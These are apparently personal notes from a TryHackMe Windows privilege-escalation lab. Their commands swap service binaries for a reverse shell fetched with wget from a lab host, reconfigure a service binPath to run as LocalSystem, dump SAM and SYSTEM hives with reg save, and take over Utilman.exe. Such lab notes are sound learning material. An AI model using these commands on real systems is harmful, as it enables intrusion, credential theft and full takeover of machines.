---
# System prepended metadata

title: Windows Privilege
tags: [windows, privilege, tryhackme]

---

# Windows Privilege

###### tags: `tryhackme` `windows` `privilege`

[TOC]
# Insecurity permission 

```
sc qc WindowsScheduler
```

![](https://i.imgur.com/NRAeMgY.png)



Check the file permission.

```
icacls <file name>
```


![](https://i.imgur.com/r71h9FM.png)

- Everyone can modify 
    - So we could try to replace our rev-shell with the  associated executable


Download reverse shell 

```
wget http://10.17.11.72:8000/rev-svc.exe -O rev-svc.exe
```



![](https://i.imgur.com/zJ8jmsl.png)


---


![](https://i.imgur.com/XA36Ibw.png)


## Trigger





### Powershell

```
sc.exe stop windowsscheduler
```

```
sc.exe start windowsscheduler
```


### CMD 

![](https://i.imgur.com/IRmoKp5.png)




## Unquoted Service Paths

![](https://i.imgur.com/Na4NzUz.png)


![](https://i.imgur.com/yooVxUg.png)



---

### Practice 

![](https://i.imgur.com/oGLvgUX.png)

---
check permission 

![](https://i.imgur.com/cbK6646.png)


AD（Administrative Privileges）
WD(Windows Privileges)



```
 mv .\rev-svc2.exe C:\MyPrograms\Disk.exe
 
 //setting permiison 
 icacls C:\MyPrograms\Disk.exe /grant Everyone:F
 
  sc.exe stop "disk sorter enterprise"
  sc.exe start "disk sorter enterprise"
```


![](https://i.imgur.com/3Xf52pq.png)


![](https://i.imgur.com/YMbnXbU.png)


## insecurity service permission 


Check: NO path vulnerability 
![](https://i.imgur.com/lyhX9Tu.png)

NO executable vulnerability 
![](https://i.imgur.com/TXqehj2.png)




## check service's configuration permission 
```
PS C:\tools> .\AccessChk\accesschk.exe -qlc thmservice
```

![](https://i.imgur.com/8hDoj0Q.png)


```
PS C:\tools> icacls .\rev-svc3.exe /grant Everyone:F
```


```
PS C:\tools> sc.exe config THMservice binPath= "C:\tools\rev-svc3.exe" obj=LocalSystem
```
![](https://i.imgur.com/pTYct3Q.png)

---

![](https://i.imgur.com/5qyatr9.png)


---

![](https://i.imgur.com/2oKXzQ8.png)

---

![](https://i.imgur.com/VG2A2wS.png)



# Danger privilege 

## SetBackup/setReset

backup

```
#back up System hash
reg save hklm\\system C:\\Users\\THMBackup\\system.hive

#back up SAM hash
reg save hklm\sam C:\Users\THMBackup\sam.hive
```

![](https://i.imgur.com/c19GK9r.png)




## SeTackOwnerShip

```
whoami /priv
```

![](https://i.imgur.com/GUjNbxZ.png)


Abuse `utilman.exe`


![](https://i.imgur.com/noCrnH9.png)

utilman.exe run with SYSTEM privileges

we could try to replace the original binary with the cmd.exe 

we will get the systems privilege 



```
takeown /f C:\Windows\System32\Utilman.exe
```

![](https://i.imgur.com/fclN3JF.png)

---

Assign full permission to us

```
icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
```

![](https://i.imgur.com/mmYueFD.png)


![](https://i.imgur.com/CPjBUtq.png)


![](https://i.imgur.com/7zQ1ZPU.png)

```
not return all installed programs
```